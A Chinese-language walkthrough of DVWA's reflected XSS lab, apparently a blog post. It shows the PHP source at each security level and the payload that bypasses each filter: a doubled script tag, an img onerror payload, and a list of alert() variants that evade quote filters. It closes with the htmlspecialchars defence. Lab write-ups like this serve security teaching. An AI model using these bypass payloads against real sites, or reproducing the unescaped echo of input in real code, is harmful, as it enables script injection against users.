Security Level: low
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
先来看看array_key_exists
函数
简单审计代码发现,传入name变量没有经过任何过滤,我们可以直接试试插入script代码
<script>alert(/xss/);</script>
Security Level: medium
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
该难度开始对name进行了过滤限制,但是str_replace只将<script>
转换为空,我们可以双写<script>
来进行绕过
<scr<script>ipt>alert(/xss/);</script>
图片就不放了,一个样
Security Level: high
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
这里用了preg_replace正则过滤了<script>
,并且中间的字符也匹配了,说明不能再用双写来绕过,但是我们可以用其它标签触发事件来注入XSS
<img src=1 onerror=alert(/xss/)>
Security Level: impossible
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
预定义的字符是:
- & (和号)成为 &
- " (双引号)成为 "
- ’ (单引号)成为 ’
- < (小于)成为 <
- > (大于)成为 >
除此之外还有一个token的防御,在我另外一篇DVWAsql注入的impossible难度有详细提及:https://blog.csdn.net/EC_Carrot/article/details/112001754
额外补充:
正常的XSS可以写成这样:
<script>alert("xss")</script>
但是如果双引号给过滤了我们可以写成这样
<script>alert(/xss/)</script> //双引号换成斜杠
同理,下面的操作都是script写法允许的
- <script>alert('xss')</script> //用单引号
- <script>alert("xss");</script> //用分号
- <script>alert('xss');</script>
- <script>alert(/xss/);</script>
- <script>alert("xss") //自动补全
- <script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> //用分号3
- <script>alert("xss");;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;</script> //空格+分号
- <script>alert("xss");;;;;;;;;;;;;;;;; ;;;;;;;;;;</script> //换行符
- <script>alert("xss");;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> //回车